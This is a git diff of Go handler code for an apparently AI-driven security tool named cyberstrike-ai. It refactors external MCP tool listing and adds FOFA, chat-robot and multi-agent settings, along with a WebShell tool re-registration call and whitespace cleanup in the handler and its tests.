-				// 获取外部工具的启用状态
-				enabled := false
-				if cfg, exists := externalMCPConfigs[mcpName]; exists {
-					// 首先检查外部MCP是否启用
-					if !cfg.ExternalMCPEnable && !(cfg.Enabled && !cfg.Disabled) {
-						enabled = false // MCP未启用，所有工具都禁用
-					} else {
-						// MCP已启用，检查单个工具的启用状态
-						// 如果ToolEnabled为空或未设置该工具，默认为启用（向后兼容）
-						if cfg.ToolEnabled == nil {
-							enabled = true // 未设置工具状态，默认为启用
-						} else if toolEnabled, exists := cfg.ToolEnabled[actualToolName]; exists {
-							enabled = toolEnabled // 使用配置的工具状态
-						} else {
-							enabled = true // 工具未在配置中，默认为启用
-						}
-					}
-				}
-
-				// 检查外部MCP是否已连接
-				client, exists := h.externalMCPMgr.GetClient(mcpName)
-				if !exists || !client.IsConnected() {
-					enabled = false // 未连接时视为禁用
-				}
-
-				description := externalTool.ShortDescription
-				if description == "" {
-					description = externalTool.Description
-				}
-				if len(description) > 100 {
-					description = description[:100] + "..."
-				}
-
-				// 如果有关键词，进行搜索过滤
-				if searchTermLower != "" {
-					nameLower := strings.ToLower(actualToolName)
-					descLower := strings.ToLower(description)
-					if !strings.Contains(nameLower, searchTermLower) && !strings.Contains(descLower, searchTermLower) {
-						continue // 不匹配，跳过
-					}
-				}
-
-				toolInfo := ToolConfigInfo{
-					Name:        actualToolName, // 显示实际工具名称，不带前缀
-					Description: description,
-					Enabled:     enabled,
-					IsExternal:  true,
-					ExternalMCP: mcpName,
-				}
-
-				// 根据角色配置标注工具状态
-				if roleName != "" {
-					if roleUsesAllTools {
-						// 角色使用所有工具，标注启用的工具为role_enabled=true
-						toolInfo.RoleEnabled = &enabled
-					} else {
-						// 角色配置了工具列表，检查工具是否在列表中
-						// 外部工具使用 "mcpName::toolName" 格式作为key
-						externalToolKey := externalTool.Name // 这是 "mcpName::toolName" 格式
-						if roleToolsSet[externalToolKey] {
-							roleEnabled := enabled // 工具必须在角色列表中且本身启用
-							toolInfo.RoleEnabled = &roleEnabled
-						} else {
-							// 不在角色列表中，标记为false
-							roleEnabled := false
-							toolInfo.RoleEnabled = &roleEnabled
-						}
-					}
-				}
-
-				allTools = append(allTools, toolInfo)
 			}
+
+			// 根据角色配置标注工具状态
+			if roleName != "" {
+				if roleUsesAllTools {
+					// 角色使用所有工具，标注启用的工具为role_enabled=true
+					roleEnabled := toolInfo.Enabled
+					toolInfo.RoleEnabled = &roleEnabled
+				} else {
+					// 角色配置了工具列表，检查工具是否在列表中
+					// 外部工具使用 "mcpName::toolName" 格式作为key
+					externalToolKey := fmt.Sprintf("%s::%s", toolInfo.ExternalMCP, toolInfo.Name)
+					if roleToolsSet[externalToolKey] {
+						roleEnabled := toolInfo.Enabled // 工具必须在角色列表中且本身启用
+						toolInfo.RoleEnabled = &roleEnabled
+					} else {
+						// 不在角色列表中，标记为false
+						roleEnabled := false
+						toolInfo.RoleEnabled = &roleEnabled
+					}
+				}
+			}
+
+			allTools = append(allTools, toolInfo)
 		}
 	}
 
@@ -594,11 +524,14 @@ func (h *ConfigHandler) GetTools(c *gin.Context) {
 
 // UpdateConfigRequest 更新配置请求
 type UpdateConfigRequest struct {
-	OpenAI    *config.OpenAIConfig    `json:"openai,omitempty"`
-	MCP       *config.MCPConfig       `json:"mcp,omitempty"`
-	Tools     []ToolEnableStatus      `json:"tools,omitempty"`
-	Agent     *config.AgentConfig     `json:"agent,omitempty"`
-	Knowledge *config.KnowledgeConfig `json:"knowledge,omitempty"`
+	OpenAI     *config.OpenAIConfig        `json:"openai,omitempty"`
+	FOFA       *config.FofaConfig          `json:"fofa,omitempty"`
+	MCP        *config.MCPConfig           `json:"mcp,omitempty"`
+	Tools      []ToolEnableStatus          `json:"tools,omitempty"`
+	Agent      *config.AgentConfig         `json:"agent,omitempty"`
+	Knowledge  *config.KnowledgeConfig     `json:"knowledge,omitempty"`
+	Robots     *config.RobotsConfig        `json:"robots,omitempty"`
+	MultiAgent *config.MultiAgentAPIUpdate `json:"multi_agent,omitempty"`
 }
 
 // ToolEnableStatus 工具启用状态
@@ -629,6 +562,12 @@ func (h *ConfigHandler) UpdateConfig(c *gin.Context) {
 		)
 	}
 
+	// 更新FOFA配置
+	if req.FOFA != nil {
+		h.config.FOFA = *req.FOFA
+		h.logger.Info("更新FOFA配置", zap.String("email", h.config.FOFA.Email))
+	}
+
 	// 更新MCP配置
 	if req.MCP != nil {
 		h.config.MCP = *req.MCP
@@ -669,6 +608,33 @@ func (h *ConfigHandler) UpdateConfig(c *gin.Context) {
 		)
 	}
 
+	// 更新机器人配置
+	if req.Robots != nil {
+		h.config.Robots = *req.Robots
+		h.logger.Info("更新机器人配置",
+			zap.Bool("wecom_enabled", h.config.Robots.Wecom.Enabled),
+			zap.Bool("dingtalk_enabled", h.config.Robots.Dingtalk.Enabled),
+			zap.Bool("lark_enabled", h.config.Robots.Lark.Enabled),
+		)
+	}
+
+	// 多代理标量（sub_agents 等仍由 config.yaml 维护）
+	if req.MultiAgent != nil {
+		h.config.MultiAgent.Enabled = req.MultiAgent.Enabled
+		dm := strings.TrimSpace(req.MultiAgent.DefaultMode)
+		if dm == "multi" || dm == "single" {
+			h.config.MultiAgent.DefaultMode = dm
+		}
+		h.config.MultiAgent.RobotUseMultiAgent = req.MultiAgent.RobotUseMultiAgent
+		h.config.MultiAgent.BatchUseMultiAgent = req.MultiAgent.BatchUseMultiAgent
+		h.logger.Info("更新多代理配置",
+			zap.Bool("enabled", h.config.MultiAgent.Enabled),
+			zap.String("default_mode", h.config.MultiAgent.DefaultMode),
+			zap.Bool("robot_use_multi_agent", h.config.MultiAgent.RobotUseMultiAgent),
+			zap.Bool("batch_use_multi_agent", h.config.MultiAgent.BatchUseMultiAgent),
+		)
+	}
+
 	// 更新工具启用状态
 	if req.Tools != nil {
 		// 分离内部工具和外部工具
@@ -880,6 +846,16 @@ func (h *ConfigHandler) ApplyConfig(c *gin.Context) {
 		}
 	}
 
+	// 重新注册 WebShell 工具（内置工具，必须注册）
+	if h.webshellToolRegistrar != nil {
+		h.logger.Info("重新注册 WebShell 工具")
+		if err := h.webshellToolRegistrar(); err != nil {
+			h.logger.Error("重新注册 WebShell 工具失败", zap.Error(err))
+		} else {
+			h.logger.Info("WebShell 工具已重新注册")
+		}
+	}
+
 	// 重新注册Skills工具（内置工具，必须注册）
 	if h.skillsToolRegistrar != nil {
 		h.logger.Info("重新注册Skills工具")
@@ -938,6 +914,12 @@ func (h *ConfigHandler) ApplyConfig(c *gin.Context) {
 		}
 	}
 
+	// 重启钉钉/飞书长连接，使前端修改的机器人配置立即生效（无需重启服务）
+	if h.robotRestarter != nil {
+		h.robotRestarter.RestartRobotConnections()
+		h.logger.Info("已触发机器人连接重启（钉钉/飞书）")
+	}
+
 	h.logger.Info("配置已应用",
 		zap.Int("tools_count", len(h.config.Security.Tools)),
 	)
@@ -968,7 +950,10 @@ func (h *ConfigHandler) saveConfig() error {
 	updateAgentConfig(root, h.config.Agent.MaxIterations)
 	updateMCPConfig(root, h.config.MCP)
 	updateOpenAIConfig(root, h.config.OpenAI)
+	updateFOFAConfig(root, h.config.FOFA)
 	updateKnowledgeConfig(root, h.config.Knowledge)
+	updateRobotsConfig(root, h.config.Robots)
+	updateMultiAgentConfig(root, h.config.MultiAgent)
 	// 更新外部MCP配置（使用external_mcp.go中的函数，同一包中可直接调用）
 	// 读取原始配置以保持向后兼容
 	originalConfigs := make(map[string]map[string]bool)
@@ -1112,6 +1097,14 @@ func updateOpenAIConfig(doc *yaml.Node, cfg config.OpenAIConfig) {
 	setStringInMap(openaiNode, "model", cfg.Model)
 }
 
+func updateFOFAConfig(doc *yaml.Node, cfg config.FofaConfig) {
+	root := doc.Content[0]
+	fofaNode := ensureMap(root, "fofa")
+	setStringInMap(fofaNode, "base_url", cfg.BaseURL)
+	setStringInMap(fofaNode, "email", cfg.Email)
+	setStringInMap(fofaNode, "api_key", cfg.APIKey)
+}
+
 func updateKnowledgeConfig(doc *yaml.Node, cfg config.KnowledgeConfig) {
 	root := doc.Content[0]
 	knowledgeNode := ensureMap(root, "knowledge")
@@ -1134,6 +1127,49 @@ func updateKnowledgeConfig(doc *yaml.Node, cfg config.KnowledgeConfig) {
 	setIntInMap(retrievalNode, "top_k", cfg.Retrieval.TopK)
 	setFloatInMap(retrievalNode, "similarity_threshold", cfg.Retrieval.SimilarityThreshold)
 	setFloatInMap(retrievalNode, "hybrid_weight", cfg.Retrieval.HybridWeight)
+
+	// 更新索引配置
+	indexingNode := ensureMap(knowledgeNode, "indexing")
+	setIntInMap(indexingNode, "chunk_size", cfg.Indexing.ChunkSize)
+	setIntInMap(indexingNode, "chunk_overlap", cfg.Indexing.ChunkOverlap)
+	setIntInMap(indexingNode, "max_chunks_per_item", cfg.Indexing.MaxChunksPerItem)
+	setIntInMap(indexingNode, "max_rpm", cfg.Indexing.MaxRPM)
+	setIntInMap(indexingNode, "rate_limit_delay_ms", cfg.Indexing.RateLimitDelayMs)
+	setIntInMap(indexingNode, "max_retries", cfg.Indexing.MaxRetries)
+	setIntInMap(indexingNode, "retry_delay_ms", cfg.Indexing.RetryDelayMs)
+}
+
+func updateRobotsConfig(doc *yaml.Node, cfg config.RobotsConfig) {
+	root := doc.Content[0]
+	robotsNode := ensureMap(root, "robots")
+
+	wecomNode := ensureMap(robotsNode, "wecom")
+	setBoolInMap(wecomNode, "enabled", cfg.Wecom.Enabled)
+	setStringInMap(wecomNode, "token", cfg.Wecom.Token)
+	setStringInMap(wecomNode, "encoding_aes_key", cfg.Wecom.EncodingAESKey)
+	setStringInMap(wecomNode, "corp_id", cfg.Wecom.CorpID)
+	setStringInMap(wecomNode, "secret", cfg.Wecom.Secret)
+	setIntInMap(wecomNode, "agent_id", int(cfg.Wecom.AgentID))
+
+	dingtalkNode := ensureMap(robotsNode, "dingtalk")
+	setBoolInMap(dingtalkNode, "enabled", cfg.Dingtalk.Enabled)
+	setStringInMap(dingtalkNode, "client_id", cfg.Dingtalk.ClientID)
+	setStringInMap(dingtalkNode, "client_secret", cfg.Dingtalk.ClientSecret)
+
+	larkNode := ensureMap(robotsNode, "lark")
+	setBoolInMap(larkNode, "enabled", cfg.Lark.Enabled)
+	setStringInMap(larkNode, "app_id", cfg.Lark.AppID)
+	setStringInMap(larkNode, "app_secret", cfg.Lark.AppSecret)
+	setStringInMap(larkNode, "verify_token", cfg.Lark.VerifyToken)
+}
+
+func updateMultiAgentConfig(doc *yaml.Node, cfg config.MultiAgentConfig) {
+	root := doc.Content[0]
+	maNode := ensureMap(root, "multi_agent")
+	setBoolInMap(maNode, "enabled", cfg.Enabled)
+	setStringInMap(maNode, "default_mode", cfg.DefaultMode)
+	setBoolInMap(maNode, "robot_use_multi_agent", cfg.RobotUseMultiAgent)
+	setBoolInMap(maNode, "batch_use_multi_agent", cfg.BatchUseMultiAgent)
 }
 
 func ensureMap(parent *yaml.Node, path ...string) *yaml.Node {
@@ -1259,3 +1295,114 @@ func setFloatInMap(mapNode *yaml.Node, key string, value float64) {
 		valueNode.Value = fmt.Sprintf("%g", value)
 	}
 }
+
+// getExternalMCPTools 获取外部MCP工具列表（公共方法）
+// 返回 ToolConfigInfo 列表，已处理启用状态和描述信息
+func (h *ConfigHandler) getExternalMCPTools(ctx context.Context) []ToolConfigInfo {
+	var result []ToolConfigInfo
+
+	if h.externalMCPMgr == nil {
+		return result
+	}
+
+	// 使用较短的超时时间（5秒）进行快速失败，避免阻塞页面加载
+	timeoutCtx, cancel := context.WithTimeout(ctx, 5*time.Second)
+	defer cancel()
+
+	externalTools, err := h.externalMCPMgr.GetAllTools(timeoutCtx)
+	if err != nil {
+		// 记录警告但不阻塞，继续返回已缓存的工具（如果有）
+		h.logger.Warn("获取外部MCP工具失败（可能连接断开），尝试返回缓存的工具",
+			zap.Error(err),
+			zap.String("hint", "如果外部MCP工具未显示，请检查连接状态或点击刷新按钮"),
+		)
+	}
+
+	// 如果获取到了工具（即使有错误），继续处理
+	if len(externalTools) == 0 {
+		return result
+	}
+
+	externalMCPConfigs := h.externalMCPMgr.GetConfigs()
+
+	for _, externalTool := range externalTools {
+		// 解析工具名称：mcpName::toolName
+		mcpName, actualToolName := h.parseExternalToolName(externalTool.Name)
+		if mcpName == "" || actualToolName == "" {
+			continue // 跳过格式不正确的工具
+		}
+
+		// 计算启用状态
+		enabled := h.calculateExternalToolEnabled(mcpName, actualToolName, externalMCPConfigs)
+
+		// 处理描述信息
+		description := h.pickToolDescription(externalTool.ShortDescription, externalTool.Description)
+
+		result = append(result, ToolConfigInfo{
+			Name:        actualToolName,
+			Description: description,
+			Enabled:     enabled,
+			IsExternal:  true,
+			ExternalMCP: mcpName,
+		})
+	}
+
+	return result
+}
+
+// parseExternalToolName 解析外部工具名称（格式：mcpName::toolName）
+func (h *ConfigHandler) parseExternalToolName(fullName string) (mcpName, toolName string) {
+	idx := strings.Index(fullName, "::")
+	if idx > 0 {
+		return fullName[:idx], fullName[idx+2:]
+	}
+	return "", ""
+}
+
+// calculateExternalToolEnabled 计算外部工具的启用状态
+func (h *ConfigHandler) calculateExternalToolEnabled(mcpName, toolName string, configs map[string]config.ExternalMCPServerConfig) bool {
+	cfg, exists := configs[mcpName]
+	if !exists {
+		return false
+	}
+
+	// 首先检查外部MCP是否启用
+	if !cfg.ExternalMCPEnable && !(cfg.Enabled && !cfg.Disabled) {
+		return false // MCP未启用，所有工具都禁用
+	}
+
+	// MCP已启用，检查单个工具的启用状态
+	// 如果ToolEnabled为空或未设置该工具，默认为启用（向后兼容）
+	if cfg.ToolEnabled == nil {
+		// 未设置工具状态，默认为启用
+	} else if toolEnabled, exists := cfg.ToolEnabled[toolName]; exists {
+		// 使用配置的工具状态
+		if !toolEnabled {
+			return false
+		}
+	}
+	// 工具未在配置中，默认为启用
+
+	// 最后检查外部MCP是否已连接
+	client, exists := h.externalMCPMgr.GetClient(mcpName)
+	if !exists || !client.IsConnected() {
+		return false // 未连接时视为禁用
+	}
+
+	return true
+}
+
+// pickToolDescription 根据 security.tool_description_mode 选择 short 或 full 描述并限制长度
+func (h *ConfigHandler) pickToolDescription(shortDesc, fullDesc string) string {
+	useFull := strings.TrimSpace(strings.ToLower(h.config.Security.ToolDescriptionMode)) == "full"
+	description := shortDesc
+	if useFull {
+		description = fullDesc
+	} else if description == "" {
+		description = fullDesc
+	}
+	if len(description) > 10000 {
+		description = description[:10000] + "..."
+	}
+	return description
+}

internal/handler/external_mcp.go

@@ -8,6 +8,7 @@ import (
 
 	"cyberstrike-ai/internal/config"
 	"cyberstrike-ai/internal/mcp"
+
 	"github.com/gin-gonic/gin"
 	"go.uber.org/zap"
 	"gopkg.in/yaml.v3"
@@ -36,12 +37,12 @@ func NewExternalMCPHandler(manager *mcp.ExternalMCPManager, cfg *config.Config,
 func (h *ExternalMCPHandler) GetExternalMCPs(c *gin.Context) {
 	h.mu.RLock()
 	defer h.mu.RUnlock()
-	
+
 	configs := h.manager.GetConfigs()
-	
+
 	// 获取所有外部MCP的工具数量
 	toolCounts := h.manager.GetToolCounts()
-	
+
 	// 转换为响应格式
 	result := make(map[string]ExternalMCPResponse)
 	for name, cfg := range configs {
@@ -54,13 +55,13 @@ func (h *ExternalMCPHandler) GetExternalMCPs(c *gin.Context) {
 		} else {
 			status = "disabled"
 		}
-		
+
 		toolCount := toolCounts[name]
 		errorMsg := ""
 		if status == "error" {
 			errorMsg = h.manager.GetError(name)
 		}
-		
+
 		result[name] = ExternalMCPResponse{
 			Config:    cfg,
 			Status:    status,
@@ -68,7 +69,7 @@ func (h *ExternalMCPHandler) GetExternalMCPs(c *gin.Context) {
 			Error:     errorMsg,
 		}
 	}
-	
+
 	c.JSON(http.StatusOK, gin.H{
 		"servers": result,
 		"stats":   h.manager.GetStats(),
@@ -78,17 +79,17 @@ func (h *ExternalMCPHandler) GetExternalMCPs(c *gin.Context) {
 // GetExternalMCP 获取单个外部MCP配置
 func (h *ExternalMCPHandler) GetExternalMCP(c *gin.Context) {
 	name := c.Param("name")
-	
+
 	h.mu.RLock()
 	defer h.mu.RUnlock()
-	
+
 	configs := h.manager.GetConfigs()
 	cfg, exists := configs[name]
 	if !exists {
 		c.JSON(http.StatusNotFound, gin.H{"error": "外部MCP配置不存在"})
 		return
 	}
-	
+
 	client, clientExists := h.manager.GetClient(name)
 	status := "disconnected"
 	if clientExists {
@@ -98,7 +99,7 @@ func (h *ExternalMCPHandler) GetExternalMCP(c *gin.Context) {
 	} else {
 		status = "disabled"
 	}
-	
+
 	// 获取工具数量
 	toolCount := 0
 	if clientExists && client.IsConnected() {
@@ -106,13 +107,13 @@ func (h *ExternalMCPHandler) GetExternalMCP(c *gin.Context) {
 			toolCount = count
 		}
 	}
-	
+
 	// 获取错误信息
 	errorMsg := ""
 	if status == "error" {
 		errorMsg = h.manager.GetError(name)
 	}
-	
+
 	c.JSON(http.StatusOK, ExternalMCPResponse{
 		Config:    cfg,
 		Status:    status,
@@ -128,38 +129,38 @@ func (h *ExternalMCPHandler) AddOrUpdateExternalMCP(c *gin.Context) {
 		c.JSON(http.StatusBadRequest, gin.H{"error": "无效的请求参数: " + err.Error()})
 		return
 	}
-	
+
 	name := c.Param("name")
 	if name == "" {
 		c.JSON(http.StatusBadRequest, gin.H{"error": "名称不能为空"})
 		return
 	}
-	
+
 	// 验证配置
 	if err := h.validateConfig(req.Config); err != nil {
 		c.JSON(http.StatusBadRequest, gin.H{"error": err.Error()})
 		return
 	}
-	
+
 	h.mu.Lock()
 	defer h.mu.Unlock()
-	
+
 	// 添加或更新配置
 	if err := h.manager.AddOrUpdateConfig(name, req.Config); err != nil {
 		h.logger.Error("添加或更新外部MCP配置失败", zap.Error(err))
 		c.JSON(http.StatusInternalServerError, gin.H{"error": "添加或更新配置失败: " + err.Error()})
 		return
 	}
-	
+
 	// 更新内存中的配置
 	if h.config.ExternalMCP.Servers == nil {
 		h.config.ExternalMCP.Servers = make(map[string]config.ExternalMCPServerConfig)
 	}
-	
+
 	// 如果用户提供了 disabled 或 enabled 字段，保留它们以保持向后兼容
 	// 同时将值迁移到 external_mcp_enable
 	cfg := req.Config
-	
+
 	if req.Config.Disabled {
 		// 用户设置了 disabled: true
 		cfg.ExternalMCPEnable = false
@@ -185,16 +186,16 @@ func (h *ExternalMCPHandler) AddOrUpdateExternalMCP(c *gin.Context) {
 		cfg.Enabled = true
 		cfg.Disabled = false
 	}
-	
+
 	h.config.ExternalMCP.Servers[name] = cfg
-	
+
 	// 保存到配置文件
 	if err := h.saveConfig(); err != nil {
 		h.logger.Error("保存配置失败", zap.Error(err))
 		c.JSON(http.StatusInternalServerError, gin.H{"error": "保存配置失败: " + err.Error()})
 		return
 	}
-	
+
 	h.logger.Info("外部MCP配置已更新", zap.String("name", name))
 	c.JSON(http.StatusOK, gin.H{"message": "配置已更新"})
 }
@@ -202,28 +203,28 @@ func (h *ExternalMCPHandler) AddOrUpdateExternalMCP(c *gin.Context) {
 // DeleteExternalMCP 删除外部MCP配置
 func (h *ExternalMCPHandler) DeleteExternalMCP(c *gin.Context) {
 	name := c.Param("name")
-	
+
 	h.mu.Lock()
 	defer h.mu.Unlock()
-	
+
 	// 移除配置
 	if err := h.manager.RemoveConfig(name); err != nil {
 		c.JSON(http.StatusNotFound, gin.H{"error": "配置不存在"})
 		return
 	}
-	
+
 	// 从内存配置中删除
 	if h.config.ExternalMCP.Servers != nil {
 		delete(h.config.ExternalMCP.Servers, name)
 	}
-	
+
 	// 保存到配置文件
 	if err := h.saveConfig(); err != nil {
 		h.logger.Error("保存配置失败", zap.Error(err))
 		c.JSON(http.StatusInternalServerError, gin.H{"error": "保存配置失败: " + err.Error()})
 		return
 	}
-	
+
 	h.logger.Info("外部MCP配置已删除", zap.String("name", name))
 	c.JSON(http.StatusOK, gin.H{"message": "配置已删除"})
 }
@@ -231,10 +232,10 @@ func (h *ExternalMCPHandler) DeleteExternalMCP(c *gin.Context) {
 // StartExternalMCP 启动外部MCP
 func (h *ExternalMCPHandler) StartExternalMCP(c *gin.Context) {
 	name := c.Param("name")
-	
+
 	h.mu.Lock()
 	defer h.mu.Unlock()
-	
+
 	// 更新配置为启用
 	if h.config.ExternalMCP.Servers == nil {
 		h.config.ExternalMCP.Servers = make(map[string]config.ExternalMCPServerConfig)
@@ -242,32 +243,32 @@ func (h *ExternalMCPHandler) StartExternalMCP(c *gin.Context) {
 	cfg := h.config.ExternalMCP.Servers[name]
 	cfg.ExternalMCPEnable = true
 	h.config.ExternalMCP.Servers[name] = cfg
-	
+
 	// 保存到配置文件
 	if err := h.saveConfig(); err != nil {
 		h.logger.Error("保存配置失败", zap.Error(err))
 		c.JSON(http.StatusInternalServerError, gin.H{"error": "保存配置失败: " + err.Error()})
 		return
 	}
-	
+
 	// 启动客户端（立即创建客户端并设置状态为connecting，实际连接在后台进行）
 	h.logger.Info("开始启动外部MCP", zap.String("name", name))
 	if err := h.manager.StartClient(name); err != nil {
 		h.logger.Error("启动外部MCP失败", zap.String("name", name), zap.Error(err))
 		c.JSON(http.StatusBadRequest, gin.H{
-			"error": err.Error(),
+			"error":  err.Error(),
 			"status": "error",
 		})
 		return
 	}
-	
+
 	// 获取客户端状态（应该是connecting）
 	client, exists := h.manager.GetClient(name)
 	status := "connecting"
 	if exists {
 		status = client.GetStatus()
 	}
-	
+
 	// 立即返回，不等待连接完成
 	// 客户端会在后台异步连接，用户可以通过状态查询接口查看连接状态
 	c.JSON(http.StatusOK, gin.H{
@@ -279,16 +280,16 @@ func (h *ExternalMCPHandler) StartExternalMCP(c *gin.Context) {
 // StopExternalMCP 停止外部MCP
 func (h *ExternalMCPHandler) StopExternalMCP(c *gin.Context) {
 	name := c.Param("name")
-	
+
 	h.mu.Lock()
 	defer h.mu.Unlock()
-	
+
 	// 停止客户端
 	if err := h.manager.StopClient(name); err != nil {
 		c.JSON(http.StatusBadRequest, gin.H{"error": err.Error()})
 		return
 	}
-	
+
 	// 更新配置
 	if h.config.ExternalMCP.Servers == nil {
 		h.config.ExternalMCP.Servers = make(map[string]config.ExternalMCPServerConfig)
@@ -296,14 +297,14 @@ func (h *ExternalMCPHandler) StopExternalMCP(c *gin.Context) {
 	cfg := h.config.ExternalMCP.Servers[name]
 	cfg.ExternalMCPEnable = false
 	h.config.ExternalMCP.Servers[name] = cfg
-	
+
 	// 保存到配置文件
 	if err := h.saveConfig(); err != nil {
 		h.logger.Error("保存配置失败", zap.Error(err))
 		c.JSON(http.StatusInternalServerError, gin.H{"error": "保存配置失败: " + err.Error()})
 		return
 	}
-	
+
 	h.logger.Info("外部MCP已停止", zap.String("name", name))
 	c.JSON(http.StatusOK, gin.H{"message": "外部MCP已停止"})
 }
@@ -327,7 +328,7 @@ func (h *ExternalMCPHandler) validateConfig(cfg config.ExternalMCPServerConfig)
 			return fmt.Errorf("需要指定command（stdio模式）或url（http/sse模式）")
 		}
 	}
-	
+
 	switch transport {
 	case "http":
 		if cfg.URL == "" {
@@ -344,7 +345,7 @@ func (h *ExternalMCPHandler) validateConfig(cfg config.ExternalMCPServerConfig)
 	default:
 		return fmt.Errorf("不支持的传输模式: %s，支持的模式: http, stdio, sse", transport)
 	}
-	
+
 	return nil
 }
 
@@ -428,17 +429,17 @@ func updateExternalMCPConfig(doc *yaml.Node, cfg config.ExternalMCPConfig, origi
 	root := doc.Content[0]
 	externalMCPNode := ensureMap(root, "external_mcp")
 	serversNode := ensureMap(externalMCPNode, "servers")
-	
+
 	// 清空现有服务器配置
 	serversNode.Content = nil
-	
+
 	// 添加新的服务器配置
 	for name, serverCfg := range cfg.Servers {
 		// 添加服务器名称键
 		nameNode := &yaml.Node{Kind: yaml.ScalarNode, Tag: "!!str", Value: name}
 		serverNode := &yaml.Node{Kind: yaml.MappingNode, Tag: "!!map"}
 		serversNode.Content = append(serversNode.Content, nameNode, serverNode)
-		
+
 		// 设置服务器配置字段
 		if serverCfg.Command != "" {
 			setStringInMap(serverNode, "command", serverCfg.Command)
@@ -459,6 +460,13 @@ func updateExternalMCPConfig(doc *yaml.Node, cfg config.ExternalMCPConfig, origi
 		if serverCfg.URL != "" {
 			setStringInMap(serverNode, "url", serverCfg.URL)
 		}
+		// 保存 headers 字段（HTTP/SSE 请求头）
+		if serverCfg.Headers != nil && len(serverCfg.Headers) > 0 {
+			headersNode := ensureMap(serverNode, "headers")
+			for k, v := range serverCfg.Headers {
+				setStringInMap(headersNode, k, v)
+			}
+		}
 		if serverCfg.Description != "" {
 			setStringInMap(serverNode, "description", serverCfg.Description)
 		}
@@ -476,7 +484,7 @@ func updateExternalMCPConfig(doc *yaml.Node, cfg config.ExternalMCPConfig, origi
 		}
 		// 保留旧的 enabled/disabled 字段以保持向后兼容
 		originalFields, hasOriginal := originalConfigs[name]
-		
+
 		// 如果原始配置中有 enabled 字段，保留它
 		if hasOriginal {
 			if enabledVal, hasEnabled := originalFields["enabled"]; hasEnabled {
@@ -494,7 +502,7 @@ func updateExternalMCPConfig(doc *yaml.Node, cfg config.ExternalMCPConfig, origi
 				}
 			}
 		}
-		
+
 		// 如果用户在当前请求中明确设置了这些字段，也保存它们
 		if serverCfg.Enabled {
 			setBoolInMap(serverNode, "enabled", serverCfg.Enabled)
@@ -528,8 +536,7 @@ type AddOrUpdateExternalMCPRequest struct {
 // ExternalMCPResponse 外部MCP响应
 type ExternalMCPResponse struct {
 	Config    config.ExternalMCPServerConfig `json:"config"`
-	Status    string                         `json:"status"` // "connected", "disconnected", "disabled", "error", "connecting"
-	ToolCount int                            `json:"tool_count"` // 工具数量
+	Status    string                         `json:"status"`          // "connected", "disconnected", "disabled", "error", "connecting"
+	ToolCount int                            `json:"tool_count"`      // 工具数量
 	Error     string                         `json:"error,omitempty"` // 错误信息（仅在status为error时存在）
 }
-

internal/handler/external_mcp_test.go

@@ -11,6 +11,7 @@ import (
 
 	"cyberstrike-ai/internal/config"
 	"cyberstrike-ai/internal/mcp"
+
 	"github.com/gin-gonic/gin"
 	"go.uber.org/zap"
 )
@@ -18,7 +19,7 @@ import (
 func setupTestRouter() (*gin.Engine, *ExternalMCPHandler, string) {
 	gin.SetMode(gin.TestMode)
 	router := gin.New()
-	
+
 	// 创建临时配置文件
 	tmpFile, err := os.CreateTemp("", "test-config-*.yaml")
 	if err != nil {
@@ -27,7 +28,7 @@ func setupTestRouter() (*gin.Engine, *ExternalMCPHandler, string) {
 	tmpFile.WriteString("server:\n  host: 0.0.0.0\n  port: 8080\n")
 	tmpFile.Close()
 	configPath := tmpFile.Name()
-	
+
 	logger := zap.NewNop()
 	manager := mcp.NewExternalMCPManager(logger)
 	cfg := &config.Config{
@@ -35,9 +36,9 @@ func setupTestRouter() (*gin.Engine, *ExternalMCPHandler, string) {
 			Servers: make(map[string]config.ExternalMCPServerConfig),
 		},
 	}
-	
+
 	handler := NewExternalMCPHandler(manager, cfg, configPath, logger)
-	
+
 	api := router.Group("/api")
 	api.GET("/external-mcp", handler.GetExternalMCPs)
 	api.GET("/external-mcp/stats", handler.GetExternalMCPStats)
@@ -46,7 +47,7 @@ func setupTestRouter() (*gin.Engine, *ExternalMCPHandler, string) {
 	api.DELETE("/external-mcp/:name", handler.DeleteExternalMCP)
 	api.POST("/external-mcp/:name/start", handler.StartExternalMCP)
 	api.POST("/external-mcp/:name/stop", handler.StopExternalMCP)
-	
+
 	return router, handler, configPath
 }
 
@@ -58,7 +59,7 @@ func cleanupTestConfig(configPath string) {
 func TestExternalMCPHandler_AddOrUpdateExternalMCP_Stdio(t *testing.T) {
 	router, _, configPath := setupTestRouter()
 	defer cleanupTestConfig(configPath)
-	
+
 	// 测试添加stdio模式的配置
 	configJSON := `{
 		"command": "python3",
@@ -67,41 +68,41 @@ func TestExternalMCPHandler_AddOrUpdateExternalMCP_Stdio(t *testing.T) {
 		"timeout": 300,
 		"enabled": true
 	}`
-	
+
 	var configObj config.ExternalMCPServerConfig
 	if err := json.Unmarshal([]byte(configJSON), &configObj); err != nil {
 		t.Fatalf("解析配置JSON失败: %v", err)
 	}
-	
+
 	reqBody := AddOrUpdateExternalMCPRequest{
 		Config: configObj,
 	}
-	
+
 	body, _ := json.Marshal(reqBody)
 	req := httptest.NewRequest("PUT", "/api/external-mcp/test-stdio", bytes.NewBuffer(body))
 	req.Header.Set("Content-Type", "application/json")
 	w := httptest.NewRecorder()
-	
+
 	router.ServeHTTP(w, req)
-	
+
 	if w.Code != http.StatusOK {
 		t.Fatalf("期望状态码200，实际%d: %s", w.Code, w.Body.String())
 	}
-	
+
 	// 验证配置已添加
 	req2 := httptest.NewRequest("GET", "/api/external-mcp/test-stdio", nil)
 	w2 := httptest.NewRecorder()
 	router.ServeHTTP(w2, req2)
-	
+
 	if w2.Code != http.StatusOK {
 		t.Fatalf("期望状态码200，实际%d: %s", w2.Code, w2.Body.String())
 	}
-	
+
 	var response ExternalMCPResponse
 	if err := json.Unmarshal(w2.Body.Bytes(), &response); err != nil {
 		t.Fatalf("解析响应失败: %v", err)
 	}
-	
+
 	if response.Config.Command != "python3" {
 		t.Errorf("期望command为python3，实际%s", response.Config.Command)
 	}
@@ -122,48 +123,48 @@ func TestExternalMCPHandler_AddOrUpdateExternalMCP_Stdio(t *testing.T) {
 func TestExternalMCPHandler_AddOrUpdateExternalMCP_HTTP(t *testing.T) {
 	router, _, configPath := setupTestRouter()
 	defer cleanupTestConfig(configPath)
-	
+
 	// 测试添加HTTP模式的配置
 	configJSON := `{
 		"transport": "http",
 		"url": "http://127.0.0.1:8081/mcp",
 		"enabled": true
 	}`
-	
+
 	var configObj config.ExternalMCPServerConfig
 	if err := json.Unmarshal([]byte(configJSON), &configObj); err != nil {
 		t.Fatalf("解析配置JSON失败: %v", err)
 	}
-	
+
